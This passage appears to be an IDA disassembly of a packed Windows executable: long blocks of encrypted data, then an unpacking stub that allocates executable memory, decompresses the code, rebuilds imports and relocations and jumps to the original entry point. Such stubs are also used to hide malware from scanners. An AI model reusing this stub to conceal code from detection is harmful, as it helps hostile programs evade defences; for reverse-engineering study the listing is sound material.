		dd 36925E28h, 1687A7F0h, 0A1ED8F0Fh, 0DE9E820Fh, 2DE02013h
		dd 498F0D04h, 0DB1352F4h, 48B5E7F6h, 0D6842C5Eh, 32D32C87h
		dd 0CA661198h, 758DF571h, 0D0DEFBCDh, 5F0FC28Ah, 60048975h
		dd 21D55826h, 3612C81Eh, 280D88CBh, 0B1CEC513h,	3EE1C51h
		dd 8A5D976h, 990D460Fh,	67CB5882h, 52DF3C15h, 0A0EB03F8h
		dd 0E6DD5635h, 0C25AD76Fh, 2DACE427h, 0D1DB50Fh, 55D9153Bh
		dd 1E957AAFh, 4F87DF4Ch, 966FEF56h, 0C0B5D983h,	0F739CBDDh
		dd 99641231h, 328ACD9Eh, 6B5DF1BFh, 60A4A231h, 95BA73F8h
		dd 0EC9588EDh, 6F3329E0h, 711BC092h, 67CEABA6h,	79759EDCh
		dd 0CAAD964Bh, 0D66632B4h, 19C0B971h, 486F218Ah, 2C086CCFh
		dd 0B452E1D2h, 0C446340Fh, 305EEDF5h, 1A731B0Ah, 0DEC0D8EAh
		dd 3148A151h, 0ED4CAD14h, 96866F2Ah, 559A24FEh,	287AB1FCh
		dd 0AFF11F65h, 255AC86Fh, 76AD14FBh, 3D998755h,	2690F314h
		dd 592C8313h, 30F62F64h, 3D504C12h, 26127EAEh, 7392FAAEh
		dd 4A6373ABh, 85849381h, 0CBB8B486h, 81BC5305h,	64E956F0h
		dd 48B307h, 0A91BA2F1h,	0D01412E9h, 0D3CD705Ah,	43E6C5D2h
		dd 773B9F41h, 48F3B6CBh, 0E451D497h, 0A3EF1448h, 2E8937E0h
		dd 15516136h, 107887Ah,	64F70B44h, 0BAEE55Ah, 0EEF88034h
		dd 0E689811Eh, 556E0E6Eh, 795DC26Ch, 0C0D3E023h, 0ACAFA9Ah
		dd 8E8DEA16h, 0EEF9F438h
		dd 504B6171h, 87B68B7h,	0DB3A16A5h, 7B8372Bh, 0CE77A2E1h
		dd 0E4872454h, 7AC8C3C1h, 0F5B7BBE3h, 0CDF6616Bh, 13E539BDh
		dd 0D29DB2BCh, 1DBCA198h, 7E897AA4h, 0D509A69Bh, 0CD5376CFh
		dd 0CA90EF8Bh, 0A1B5BDBEh, 4771C8A0h, 8BD89B0Dh, 24B1E251h
		dd 339DD1D1h, 0C141C05Eh, 0B285D4B2h, 91720681h, 6F6F4F3Bh
		dd 6F5C0FF5h, 82D2CACAh, 5A3BC36Ah, 0C7323EC8h,	0E75F99D6h
		dd 0F1647415h, 0A37F015Fh, 3D203664h, 6B52ADE3h, 0C14807BDh
		dd 36413D59h, 0CDBA6F2Bh, 0AD157A0Ch, 1A16F6F4h, 8FE8DFh
		dd 6A54D6E1h, 228ADED5h, 898AE957h, 62BD4A86h, 0D3BE572Bh
		dd 8C986342h, 48EA1A02h, 72735255h, 95D67AEFh, 917D4B07h
		dd 0A47DBF94h, 9C0566CBh, 47800BFFh, 36EC47AFh,	0F148600Eh
		dd 7B162F57h, 0EE7EDEE8h, 0F8E2A054h, 64EED89Fh, 0C6BE0787h
		dd 1A9E4C0Bh, 1DBA6461h, 0C015CB69h, 0F3E2035h,	4DA00845h
		dd 0A944D962h, 1BC05CBh, 0E09090BDh, 57F47F7Ch,	5AF6F43Ah
		dd 36CC34BCh, 62D0EF5Dh, 84C7B6EAh, 5CA1E46h, 216CAE65h
		dd 9711FF58h, 4255DB69h, 5EFA090Ch, 0EE67E7Dh, 5531D04Dh
		dd 97187245h, 77EF59A2h, 4F529127h, 2CCD234Bh, 0BBA682E4h
		dd 0E43088E8h, 9CCF44D9h, 45812753h, 2ACD4D23h,	0BE60A9D5h
		dd 5277382Fh, 0C76E5863h, 37444089h, 7F69FEAAh,	0DFBC3F07h
		dd 171BC0C3h, 253A2619h, 7BBE77C6h, 90FCE195h, 0F918C74Ah
		dd 0C445DDCBh, 43619EC8h, 0F504E03Fh, 0B654EC3h, 0CA933C18h
		dd 8E048662h, 0B1CE7922h, 0F0E53F5Ch, 48C2EAEEh, 8380321Dh
		dd 0E52AE89Ch, 450892DCh, 1BA1B4E6h, 6499CEAEh,	52B75E63h
		dd 28D8A997h, 60F53CDh,	0AFC02364h, 2AE2466Dh, 0C8CAFABBh
		dd 24324869h, 402EC2h, 1E2A3045h, 0CBF8DF85h, 0BD865F65h
		dd 0CD2763CDh, 1F9028C8h, 4BA1076Ch, 0CEEC3D80h, 0F4E66823h
		dd 70C6BB1Fh, 0F0B0CB3Dh, 0F8E1953Eh, 0E816B290h, 73BB3FA3h
		dd 0B55C36E9h, 0A2601590h, 0C3941E33h, 6B8ABF78h, 77A9C854h
		dd 0B660C026h, 0E18A08BDh, 20807311h, 0D80EB9A9h, 1A1CAFE0h
		dd 0B64A5D3Bh, 0EC4300D8h, 0CAE999B4h, 2E81B08Bh, 3EBDF15Eh
		dd 79C4D9C3h, 60E99231h, 0CBCD3C50h, 0D6402D86h, 5DBB52E8h
		dd 0A3ED3347h, 3DB765A5h, 0CC727E2Ch, 575CC492h, 5F6363B3h
		dd 4DA15787h, 0AA59A02Bh, 89AD54EBh, 0FBE14777h, 3FA4B89Bh
		dd 6F48BE66h, 0A3A30608h, 521B2B36h, 15495749h,	0C6264E02h
		dd 97FA4250h, 45318BE5h, 1DF59AF6h, 35033EC3h, 0B9F3E5FDh
		dd 83A9CC67h, 0AE2D914Dh, 0CE0A746Dh, 446302D0h, 4C791856h
		dd 6FD13EFAh, 187B0B3Dh, 0F2AB4442h, 4F735B46h,	70CBC995h
		dd 1F66E92Ch, 0AC9B5497h, 726C6A24h, 6D0119CEh,	2F0B483Bh
		dd 0D1423BA6h, 0FEBA1FFAh, 32645101h, 0EE19306Fh, 0B8E19B5Ah
		dd 897BCA0h, 0B0311F94h, 0CBDF0E09h, 5FC53BC3h,	0EF4B23ABh
		dd 41018E8Bh, 7FA2A982h, 37145FC1h, 296E8A2Fh, 0DD7220Ah
		dd 24B5BF4Ah, 3F5A1ED2h, 333F0F18h, 0B31A6C32h,	233D80BEh
		dd 0D0D124D0h, 0DAE8E715h, 8E3C941Fh, 21128698h, 95CFB81h
		dd 40D29E16h, 3506A08Ch, 507DCF87h, 34787048h, 947AF5Eh
		dd 337E4CFFh, 422D49BFh, 8CED3769h, 594CAACAh, 595C30E9h
		dd 32CD82C5h, 0A6F74A3Ch
dword_490054	dd 0C76D37A1h, 0C7659E55h, 2CED7B5h, 76D6F06Fh,	6F035716h
					; DATA XREF: .nsp0:00419BE1o
					; .nsp0:0041A411o
		dd 80FC912Fh, 0D51F51CAh, 5968FE92h, 64F39790h,	1ADBA555h
		dd 0A3C467EBh, 260A0009h, 27151468h, 20868177h,	0F25B1699h
		dd 4C3249DEh, 401B1A46h, 650DCD79h, 0E2B186DCh,	9DAFFC0Fh
		dd 88C10F35h, 90604981h, 0EFC2A166h, 0D6F29CA2h, 0D409EB4Eh
		dd 0BAD5A8C1h, 7DB53564h, 1EE85732h, 0D24422C6h, 966D4EF1h
		dd 374E3BFDh, 2F96131h,	83A947E1h, 74E4FCFEh, 0DFB68671h
		dd 0DE1F9E9Ch, 97041112h, 389E0FDAh, 0EFE60C6Ch, 0E0347DF4h
		dd 0EA762F68h, 0FCB948AEh, 0C209685h, 2BA540ABh, 52FAE29Dh
		dd 42EAE397h, 0E0593565h, 0A7AF2D79h, 0C9B4E6C7h, 32707154h
		dd 9222EAD5h, 73864C10h, 6C375508h, 0B23637F7h,	0D8B28912h
		dd 0B19E06D0h, 0DBA2C9B0h, 8CB40A2Fh, 8AFC39A9h, 624004E5h
		dd 80D63AC8h, 4174A262h, 83225393h, 0FD869F26h,	0F3CCEFE2h
		dd 0B18ED9C8h, 90BD4DFBh, 0D6070CFBh, 0DF6A95FEh, 0D88A7344h
		dd 0D1F79B24h, 509F5AD3h, 0C4D01F6Fh, 58C778CAh, 704DF983h
		dd 60E6A8FDh, 34AB054Eh, 2F3D2021h, 5D5A45A6h, 0F58428B5h
		dd 55B44926h, 0AB7E0F38h, 36C64988h, 0B3B9B7Ch,	0A8823A6Eh
		dd 92BEF386h, 49DB9615h, 0EF650668h, 9C97CA04h,	0E13FD27Ch
		dd 3AEB2693h, 0E677B757h, 0D0A5F22Bh, 0ED713347h, 0C7E907C3h
		dd 6AAF8DCDh, 45E3C369h, 7D9C883Bh, 18BCE2CAh, 8698F80h
		dd 0DA706CEBh, 9FC123E3h, 4526BA6Dh, 5C9AC55Fh,	7C8CC54Fh
		dd 6417E448h, 0B6AC419Dh, 8C88885Fh, 0C249608Eh, 0BF275448h
		dd 688B0F43h, 0D67773D3h, 65F467ABh, 8CD3DF07h,	76AA97DBh
		dd 9C309679h, 0D65C536Dh, 0C8529E8Ah, 1642C75Bh, 0C6D25EC1h
		dd 0F8F200B8h, 0C8B3FDD6h, 0A85A92F2h, 0B47D4E21h, 19A69B9Eh
		dd 0F10349ACh, 47E15FB7h, 0B6007529h, 2B2010BCh, 5E1EE6A8h
		dd 0FDFC9094h, 4AAE0F7Ah, 160E4CEFh, 0CAFF19D4h, 0D6C4A6B7h
		dd 1D6A39E4h, 855184F7h, 0F55A0954h, 455152CCh,	423A9F50h
		dd 5195AA3Ah, 94DB4E5Fh, 7B003004h, 0D844E6DAh,	72DA7832h
		dd 5FF8E737h, 0D20F8A1Ah, 6E10EDB1h, 41E8BA0Ch,	5363F9D2h
		dd 0BF5EDC54h, 0E87BB268h, 0DCECAE08h, 0C850D663h, 4E1FD0BAh
		dd 0EABA5EF3h, 5D2FC146h, 5A9D16D5h, 5EC176CDh,	0BF923CAh
		dd 0C2F0EC9h, 0C85AD7F2h, 0BD386AC5h, 4F4A4419h, 0A1F0A121h
		dd 0B3075FD0h, 644AF813h, 239B6796h, 0B68FEDC0h, 13839D55h
		dd 0EFBAD756h, 0E35132BEh, 2E9B4B58h, 70604C16h, 24FC6469h
		dd 4C361B1Ch, 0F018571h, 67366577h, 2D5318C4h, 5CD1FDDFh
		dd 0E46A9D39h, 1D5520F4h, 0CB3BE12Fh, 0C407FDF5h, 7F779FF4h
		dd 75261A6Dh, 509E41E5h, 125004FDh, 4B0ACBAEh, 83BADEB2h
		dd 131D6581h, 3E0DA30Ah, 0F99D81C1h, 0B17B430Dh, 57338DE4h
		dd 4C8F532h, 0F228BAB9h, 547BDE2Dh, 355B0C9h, 1A9582EBh
		dd 8C36BECDh, 22AA0D4Ah, 2FECE109h, 86A659B8h, 9671FAC9h
		dd 0DBEAC3ECh, 361C7402h, 0E6278E87h, 387FD1FAh, 21A57DEFh
		dd 715B70A0h, 297944B7h, 9F2C2C76h, 60A33F0Ch, 59087366h
		dd 6D75FEE8h, 83C10341h, 63FB0396h, 0FC917EACh,	2900E511h
		dd 8F1F2323h, 0FD5EAECh, 0F0E773CAh, 0F00F43F4h, 2E1CE4D1h
		dd 38797EB6h, 6B3EA919h, 4EC8440Bh, 0B284FD0Ah,	9E155D23h
		dd 74986A82h, 0B71F56AFh, 713ECA6Fh, 70D8FFE0h,	0AB9D63D7h
		dd 0D64DBDF1h, 827742F5h, 0C2501EC8h, 84F08DD8h, 2A3467B7h
		dd 0BB92CB84h, 2778E39Ah, 0E818D08Ah, 0B3BE48AFh, 0BCD702EAh
		dd 5C4B142Fh, 630AD258h, 0BD29D9EAh, 34EF9B33h,	0D2173793h
		dd 867096F7h, 0B70A33DDh, 91DAD83h, 1DA5E9E9h, 4E1E75B4h
		dd 88DFD6F7h, 677E1B29h, 6818859Eh, 62FFB886h, 0E6607B16h
		dd 2CDC852Bh, 0D7C463CFh, 0A008CF22h, 784AFAEFh, 8E073E39h
		dd 0E152DDE2h, 0DADEFC61h, 0F1D9D4AFh, 0EB07C66Fh, 0AED9F042h
		dd 0A50C9731h, 68747C7Dh, 65877D5Ah, 9D663225h,	8E9A4B31h
		dd 0D29D9CCFh, 3F6440E7h, 7C394740h, 95898DC2h,	924F7275h
		dd 0F49720B5h, 947AB784h, 724A6C95h, 0BB5D0273h, 0A71E5824h
		dd 4921B428h, 0DCBB8027h, 921201F5h, 955A3F60h,	9CDDA948h
		dd 0EFDE8BF1h, 9F4266D0h, 0C1B24C81h, 0DBC37CDEh, 3AEEA4DBh
		dd 0A373C052h, 0C17F2DF8h, 0D16735F3h, 32BA278Dh, 517CB64Ah
		dd 1E376DA1h, 6E3D44EAh, 0CDC78B7Ah, 0F64B6F34h, 39F75D03h
		dd 0CD81327Bh, 666601CDh, 435AFE28h, 57090BB6h,	4800B83Bh
		dd 0F6ED7DCAh, 8DE0D32h, 0A25B1CB0h, 6F2C6287h,	0BCCDE6B5h
		dd 248E0E36h, 8626B998h, 0E2299815h, 0D7EC2096h, 6FDE7BFFh
		dd 247A8ED3h, 0C1847230h, 6AF06192h, 51469963h,	0D23D3FA4h
		dd 0F0A893F1h, 7C6672F3h, 18155735h, 79A582DEh,	61B9CA40h
		dd 0EE32DADEh, 72AB47FEh, 0BCF9FBA2h, 9907EC17h, 0EDD182F9h
		dd 714CDB7Eh, 58B60E60h, 16A1AAE8h, 0F116216h, 597C9B2Ah
		dd 6FE1E82Ch, 6291F904h, 70FA16A6h, 0CEE0A2ADh,	1737A6B2h
		dd 8FF52938h, 6595FA9Ch, 0B3A3C953h, 0AD04A575h, 0CC841C40h
		dd 2DF82216h, 0CD24F439h, 22FA7E43h, 74583A70h,	0EDAD5D1h
		dd 732F2FEh, 0EFC917BEh, 537EDFD2h, 488E8C82h, 94B00688h
		dd 591ED9A8h, 49863361h, 0A6C29519h, 0F0E74E14h, 7D5E3CADh
		dd 5A5D5474h, 45FF31D9h, 0CCAF3CBBh, 8A53EFFh, 311CCC90h
		dd 2A5BCD8Ah, 1A942494h, 0C1C7F687h, 30573755h,	0FA8329E1h
		dd 2E22BDC2h, 0C0D2D76Fh, 377A808h, 0FEE9C975h,	5FAD1798h
		dd 20466842h, 4EC7318Eh, 0A6C393CAh, 2745D26Dh,	7D3CDE65h
		dd 8A5D2171h, 135BAEACh, 85D0C488h, 0B03ACA9Dh,	5A0A0EE7h
		dd 0E12F8DBFh, 86352D0Eh, 0E5925DD6h, 0DE43DFD5h, 0E95275A4h
		dd 7DE043Bh, 0FDFEE917h, 70374B78h, 648F6E4Eh, 0C22193D0h
		dd 0B64599C1h, 97346455h, 1BF10D64h, 25D90770h,	0A817EB15h
		dd 0AB2F1FAFh, 447F1E4Ch, 67487F2Bh, 0CCD1441Bh, 831F011Eh
		dd 7F05C040h, 0B459203Fh, 0AE4ED680h, 4E909BA3h, 0B379894Eh
		dd 17D07EFAh, 46A64EFAh, 0B9B7E098h, 79819180h,	60CF18EDh
		dd 6D2A94BAh, 0CA2015B7h, 81C035F7h, 99199FD9h,	0E32CA480h
		dd 13D299E5h, 52284BDCh, 11C773A9h, 2C950E8Ah, 0DEA51BD7h
		dd 0BDDAB7F8h, 29E1111Bh, 8485BE30h, 6DCC5A9Dh,	0C7C9589Ah
		dd 0CC73EC71h, 0DB1D82B2h, 3AFE15B9h, 570E69F6h, 0AF059637h
		dd 4F2C462Eh, 0F53A0A7Eh, 885EB54Ah, 240B12E1h,	71DC9E4Dh
		dd 93867640h, 0A456D81Ah, 1ED6FB6Ch, 0A383A9E8h, 786B71B9h
		dd 19D3B8DBh, 0B21A077Ah, 9DDF33E9h, 978572Ch, 6DD961D2h
		dd 588CF30Ch, 98F43BA9h, 416E77A6h, 19702B78h, 235C9295h
		dd 0D853EACFh, 25E11AD9h, 598030E9h, 58A5A196h,	0DA991225h
		dd 6CFBC88Dh, 5A886E5Dh, 0F189A62Fh, 10119B0Bh,	5F7507DDh
		dd 60575342h, 35F67D4Dh, 0A29CBDBh, 66ED32F4h, 4FBB6516h
		dd 6963167Dh, 5573D4h, 0E81FA2D4h, 5ED73F1Ch, 5D2301B8h
		dd 20542365h, 154D2C33h, 0BF0D07D1h, 9C6D770Ah,	0D14ECA05h
		dd 1668F52h, 8A94303Ah,	0EB382A54h, 9FF03338h, 0DFF421A2h
		dd 198FF621h, 4DC25751h, 90862C53h, 0F069A9AFh,	5960F02Dh
		dd 0AB443FD5h, 2ACEB05Eh, 0CCD36CCCh, 9F1551DCh, 65E2F681h
		dd 151BAF99h, 2FCFF731h, 0A8594164h, 13F780ADh,	47607AC3h
		dd 932757F0h, 6E2B2D3h,	0FD862B97h, 5A731AC4h, 6F04D7FAh
		dd 0AE272DBEh, 0FB2F70BFh
		dd 2F46A0FBh, 1BB9600Bh, 976BB970h, 0D2E14836h,	89A5AA60h
		dd 71D8FF07h, 0B53045C6h, 0D98E3525h, 0B9D0966Ah, 880092A6h
		dd 61C8C9A0h, 8FF63E49h, 0B80113A4h, 9646FA7Fh,	6D3E7748h
		dd 4E62F2FBh, 469A0247h, 0D7BE5521h, 0F8B6E530h, 0E3851A5Bh
		dd 52630FA3h, 59D79B2Fh, 0B4452F0h, 0AD3BC947h,	0BFF6412Ah
		dd 164EF1B4h, 0A4ADDAD1h, 4FB630BBh, 0AF764428h, 7CE8A100h
		dd 0D9103CCh, 7D803CBFh, 0F05A62C7h, 0AE36A36Eh, 888833B2h
		dd 0D0F4111h, 9FD1B742h, 61F2D275h, 5D5753CDh, 75CBB42Bh
		dd 361CFFEBh, 800F8ADFh, 8F020183h, 53FFCF66h, 21864B47h
		dd 1E9E73FDh, 0DD94A419h, 5D5899C0h, 7248416Ch,	0D5B59827h
		dd 0AE93A4E0h, 0AAF23924h, 1364DC92h, 45C30470h, 699BC6F4h
		dd 80D1514h, 5284D995h,	0D5B01352h, 1B503AA5h, 31A68DAAh
		dd 392592Ch, 1AC2BEA5h,	0C315918Bh, 0D8EF7BEh, 17AB2785h
		dd 0DA975F85h, 26F44D38h, 858548DCh, 0A1B420Fh,	0BAEE83A2h
		dd 0F60E1E2Dh, 0DBB1C9E2h, 3CE48E36h, 785DC93Ah, 0DCCA6A32h
		dd 2EE35D6Eh, 3A0124EFh, 73C35503h, 0C67B1A01h,	0DAEC2D7Eh
		dd 0A2D1DC16h, 0AAD6C801h, 91A5A533h, 459A77F7h, 2143807h
		dd 96782D2Dh, 0FC16D369h, 13DE68F0h, 3474AB3Fh,	5488EC19h
		dd 0EAF25676h, 13291E57h, 0B716B92h, 4AA408AAh,	21DBE65Eh
		dd 65BB841Ch, 0BCF1A101h, 160C8C06h, 351038FFh,	9DB0554Dh
		dd 0B50D142Ch, 1E6CFC31h, 5C84A807h, 0A8B82C4Dh, 19AD0A61h
		dd 2EBAFC8h, 0E90108E6h, 976D7B1Ah, 19E40618h, 18B8E20Ah
		dd 3C2EC033h, 906D2F49h, 187B2A7Eh, 0DE768820h,	95181691h
		dd 336B991Ch, 7CCED79Eh, 84E9DFB4h, 7B4D044Ah, 0AE36E407h
		dd 101665B2h, 4685964Ah, 0D841FCEh, 85699C60h, 0CAFCA41Bh
		dd 0EF8C9A6h, 63F64307h, 9A7B27FFh, 603A1AE3h, 9CD1BF48h
		dd 5119E6DBh, 43D961Ah,	0C7FDC1A1h, 0CD35053Eh,	0F029E3C7h
		dd 0BC16D8DCh, 0C677A252h, 0B37EBE97h, 520840F4h, 227FF3FCh
		dd 2E5BB4B0h, 8DC2B1CBh, 0FB04FD2Fh, 200F7209h,	1BF2D401h
		dd 0A478CDA6h, 7C93D96Ah, 898EC4F4h, 0DB2D6629h, 0F639D225h
		dd 8836AF83h, 3D87C85Ch, 3E2F2375h, 7749B35Eh, 8CE75362h
		dd 0E0B0EFA1h, 0BCC748FCh, 1A33BDA8h, 0A1686A4Fh, 4315ED84h
		dd 0DA2CE0E4h, 725AF0C5h, 0E5EEBD27h, 0C00EBE76h, 0E6A971AAh
		dd 3523EF13h, 30E461FAh, 37598D4h, 51948491h, 6C923FFAh
		dd 0F2B28615h, 1FF83B47h, 40AD5299h, 5FE26685h,	97EE45E1h
		dd 0B3E5A1E9h, 55514750h, 0BC433ED5h, 0ECAEDA1h, 3DF08C56h
		dd 8ADA374h, 0CB4F98BAh, 0D0F647BEh, 93CA390Ah,	46CA60ABh
		dd 4968A787h, 214F12C5h, 4DA857C8h, 41464EDFh, 0D41535ACh
		dd 62B93690h, 6D6B1B82h, 30FF19ECh, 2A6CBCC5h, 0EF119562h
		dd 0AD28E983h, 97105EDh, 21E3AE3Dh, 0EA297C43h,	16AB054h
		dd 0C2C3CA77h, 0F01BE2D1h, 9CC796FCh, 648E310Ah, 0FF81ACC0h
		dd 7D8FDC0Bh, 0AE8A25E5h, 296B5371h, 0BD7B8D2Ch, 0B06A8B5Ah
		dd 6E8E9929h, 943025F8h, 90189255h, 0A61A4FA9h,	0B075097Eh
		dd 0BBB071F7h, 5A27B17Eh, 0D6931F87h, 0BA1392BEh, 8903C19h
		dd 140F7538h, 66BCF926h, 6021BA48h, 0BBB7F5A2h,	5EFFEA9Ch
		dd 65BCF185h, 0E1E6AF0Eh, 78F98D50h, 24556265h,	82FA5F02h
		dd 0C2A275AEh, 49B6AB12h, 1BEA99Ch, 2BC55DAAh, 0BDE90CD3h
		dd 0C46E3EF9h, 6326ED8h, 0CEEBFF47h, 824AE5EFh,	0E82D6DF5h
		dd 0A20B3C30h, 71AF4503h, 1C783139h, 8E1EBA9h, 0C622A822h
		dd 5B15A8DFh, 94AE863Bh, 0A22F6A40h, 75439E46h,	8BCC3973h
		dd 1B354125h, 0CED1E6FAh, 0D2E12023h, 0BF30ACB1h, 5B0C05DAh
		dd 39918DC7h, 0DD9EB6A4h, 3234369Ah, 0F6979C6Ch, 30358716h
		dd 0B919826Ch, 7CD52D23h, 0CE37DE8Dh, 58605724h, 11164565h
		dd 18A8C000h, 26D21FADh, 4F8F6402h, 0EB6F19B2h,	4E612538h
		dd 4A9900F2h, 7FA12056h, 0D0854718h, 589E870Fh,	9E19A15Ah
		dd 87309A91h, 89085F77h, 0CA82C94Dh, 7536D02Fh,	449274D1h
		dd 4ED3D9BDh, 877CEE9Dh, 0FA13EA03h, 50AD2F37h,	1DFF9504h
		dd 0F9E0C456h, 0CA8DBE03h, 0C53D2864h, 0E80F955Dh, 5CCA290Ah
		dd 94A27CCAh, 0B2B1C53Ah, 0AAAA02E9h, 0C9917A58h, 599FB949h
		dd 3BD2F4E0h, 0DB76BCC8h, 6EA98E15h, 0DD91C600h, 0EF13AFB0h
		dd 0B865B126h, 6FA25D86h, 9828C08Ch, 0C67B1674h, 77E4279Ah
		dd 0E75CA228h, 840F9C30h, 8A9A8D14h, 0EA49BEB5h, 872CC8E0h
		dd 0F7A2A692h, 3509024Fh, 0DC96EB25h, 0DE9CD16Fh, 77F74BA7h
		dd 4E0309C9h, 0DF6C4841h, 0A6BD25DDh, 6B9C932h,	4A20D3F5h
		dd 0AF64E158h, 99237542h, 7DCE6E19h, 0D423308Eh, 0A38DC5E0h
		dd 0D391B8BFh, 7DE7D34h, 7684ED54h, 0D46A9EF0h,	0E9421DB1h
		dd 0F19A9EC6h, 0AAB45493h, 0F2FD57F1h, 0B5EBC53h, 0B134684h
		dd 0C0511DCh, 3E0A5773h, 2DE8340h, 40ABC1CFh, 730B37FCh
		dd 0A01F4013h, 3AA87A7Eh, 0F805EA89h, 91D72CB5h, 0A70EA10Ch
		dd 9A632DD7h, 0B9AD1045h, 8DF82E7Ch, 0C5F92D44h, 0D801ADFDh
		dd 0E96DC415h, 135E6891h, 7D9CDDC6h, 5562889Dh,	0B0510EB5h
		dd 0F9687A34h, 0EDF13C65h, 95609DF8h, 0B5F9376Ah, 0AA224177h
		dd 0CB767B03h, 8956C9DDh, 9066A6A9h, 3F40795h, 0C87EDFA8h
		dd 0CF3E1F5Ah, 32948F25h, 0F4E070CAh, 8C1440C0h, 798777C0h
		dd 0F09C276Fh, 1C2C1B8Eh, 0F3E811FEh, 15E5BDFDh, 0A7BBB0D8h
		dd 252C4528h, 41588DDEh, 8BF7A460h, 0DA3F234Ah,	9D52A1B2h
		dd 3B4D0C8Fh, 0DAA10D96h, 686F7089h, 79249E13h,	917E002Dh
		dd 88331BFh, 979257F1h,	9D405CF9h, 0B59AFFFFh, 0AABBh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_490E6E:				; CODE XREF: start+272j
		pusha
		call	$+5
		mov	ebp, [esp+24h+var_24]
		add	esp, 4
		lea	esi, [ebp+0A5Ah]
		lea	ebx, [ebp+240h]
		xor	edi, edi
		call	sub_491010
		push	40h
		push	1000h
		push	0C2000h
		push	0
		call	dword ptr [ebp+9EBh]
		mov	[ebp+0A3Ah], eax
		jmp	short loc_490EBD
; ---------------------------------------------------------------------------


loc_490EA9:				; CODE XREF: start-2292j
		pusha
		push	dword ptr [ebp+0A3Ah]
		push	dword ptr [edi+esi]
		push	dword ptr [edi+esi+4]
		call	ebx	; WideCharToMultiByte
		popa
		add	edi, 8


loc_490EBD:				; CODE XREF: start-22ACj
		cmp	dword ptr [edi+esi], 0
		jnz	short loc_490EA9
		lea	esi, [edi+esi+4]
		push	ebx
		push	40h
		push	1000h
		push	5FDh
		push	0
		call	dword ptr [ebp+9EBh]
		mov	[ebp+0A56h], eax
		pop	ebx
		pusha
		push	dword ptr [ebp+0A3Ah]
		push	esi
		push	dword ptr [ebp+0A56h]
		call	ebx	; WideCharToMultiByte
		popa
		mov	esi, [ebp+0A56h]
		mov	eax, esi
		jmp	short loc_490EFF
; ---------------------------------------------------------------------------


loc_490EFE:				; CODE XREF: start-2251j
		inc	eax


loc_490EFF:				; CODE XREF: start-2257j
		cmp	byte ptr [eax],	1
		jnz	short loc_490EFE
		inc	eax
		mov	edi, [eax]
		call	sub_490FF3
		add	eax, 4
		mov	[ebp+0A52h], eax
		jmp	loc_490FB1
; ---------------------------------------------------------------------------


loc_490F1A:				; CODE XREF: start-219Fj
		push	esi
		call	dword ptr [ebp+9E3h]
		mov	[ebp+0A4Eh], eax
		test	eax, eax
		jz	loc_490FF1
		mov	eax, esi
		jmp	short loc_490F92
; ---------------------------------------------------------------------------


loc_490F33:				; CODE XREF: start-21C3j start-21BEj
		mov	eax, [ebp+0A52h]
		mov	eax, [eax]
		test	eax, 80000000h
		jz	short loc_490F56
		xor	eax, 80000000h
		push	eax
		mov	eax, [ebp+0A52h]
		mov	dword ptr [eax], 202020h
		jmp	short loc_490F5C
; ---------------------------------------------------------------------------


loc_490F56:				; CODE XREF: start-2213j
		push	dword ptr [ebp+0A52h]


loc_490F5C:				; CODE XREF: start-21FFj
		push	dword ptr [ebp+0A4Eh]
		call	dword ptr [ebp+9E7h]
		test	eax, eax
		jz	loc_490FF1
		mov	[edi], eax
		add	edi, 4
		mov	eax, [ebp+0A52h]
		jmp	short loc_490F7E
; ---------------------------------------------------------------------------


loc_490F7D:				; CODE XREF: start-21D2j
		inc	eax


loc_490F7E:				; CODE XREF: start-21D8j
		cmp	byte ptr [eax],	0
		jnz	short loc_490F7D
		inc	eax
		mov	[ebp+0A52h], eax
		cmp	word ptr [eax+2], 8000h
		jz	short loc_490F33


loc_490F92:				; CODE XREF: start-2222j
		cmp	byte ptr [eax],	0
		jnz	short loc_490F33
		jmp	short loc_490F9A
; ---------------------------------------------------------------------------


loc_490F99:				; CODE XREF: start-21B6j
		inc	esi


loc_490F9A:				; CODE XREF: start-21BCj
		cmp	byte ptr [esi],	0
		jnz	short loc_490F99
		inc	esi
		inc	eax
		mov	edi, [eax]
		call	sub_490FF3
		add	eax, 4
		mov	[ebp+0A52h], eax


loc_490FB1:				; CODE XREF: start-223Ej
		cmp	byte ptr [esi],	1
		jnz	loc_490F1A
		push	4000h
		push	5FDh
		push	dword ptr [ebp+0A56h]
		call	dword ptr [ebp+9EFh]
		push	4000h
		push	0C2000h
		push	dword ptr [ebp+0A3Ah]
		call	dword ptr [ebp+9EFh]
		call	sub_491040
		popa
		jmp	sub_40D514
; ---------------------------------------------------------------------------


loc_490FF1:				; CODE XREF: start-222Aj start-21E9j
		popa
		retn
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_490FF3	proc near		; CODE XREF: start-224Cp start-21B0p

arg_24		= dword	ptr  28h

		push	eax
		push	ebx
		mov	eax, [ebp+0A46h]
		or	eax, eax
		jz	short loc_49100D
		mov	eax, [ebp+0A3Eh]
		mov	ebx, [esp+8+arg_24]
		sub	edi, eax
		add	edi, ebx


loc_49100D:				; CODE XREF: sub_490FF3+Aj
		pop	ebx
		pop	eax
		retn
sub_490FF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_491010	proc near		; CODE XREF: start-22CBp

arg_24		= dword	ptr  28h

		pusha
		mov	eax, [ebp+0A46h]
		or	eax, eax
		jz	short loc_49103E
		mov	eax, [ebp+0A3Eh]
		mov	ebx, [esp+20h+arg_24]
		jmp	short loc_491038
; ---------------------------------------------------------------------------


loc_491027:				; CODE XREF: sub_491010+2Cj
		sub	[edi+esi+4], eax
		add	[edi+esi+4], ebx
		sub	[edi+esi], eax
		add	[edi+esi], ebx
		add	edi, 8


loc_491038:				; CODE XREF: sub_491010+15j
		cmp	dword ptr [edi+esi], 0
		jnz	short loc_491027


loc_49103E:				; CODE XREF: sub_491010+9j
		popa
		retn
sub_491010	endp


; =============== S U B	R O U T	I N E =======================================



sub_491040	proc near		; CODE XREF: start-216Dp

arg_24		= dword	ptr  28h

		pusha
		mov	esi, [ebp+0A46h]
		or	esi, esi
		jz	short loc_4910B2
		mov	edi, [ebp+0A3Eh]
		mov	eax, [esp+20h+arg_24]
		mov	[ebp+0A42h], eax
		cmp	eax, edi
		jz	short loc_4910B2
		add	esi, eax
		jmp	short loc_4910AD
; ---------------------------------------------------------------------------


loc_491063:				; CODE XREF: sub_491040+70j
		mov	edx, [esi]
		mov	eax, [esi+4]
		mov	[ebp+0A4Ah], eax
		add	[ebp+0A4Ah], esi
		add	esi, 8
		jmp	short loc_4910A5
; ---------------------------------------------------------------------------


loc_491079:				; CODE XREF: sub_491040+6Bj
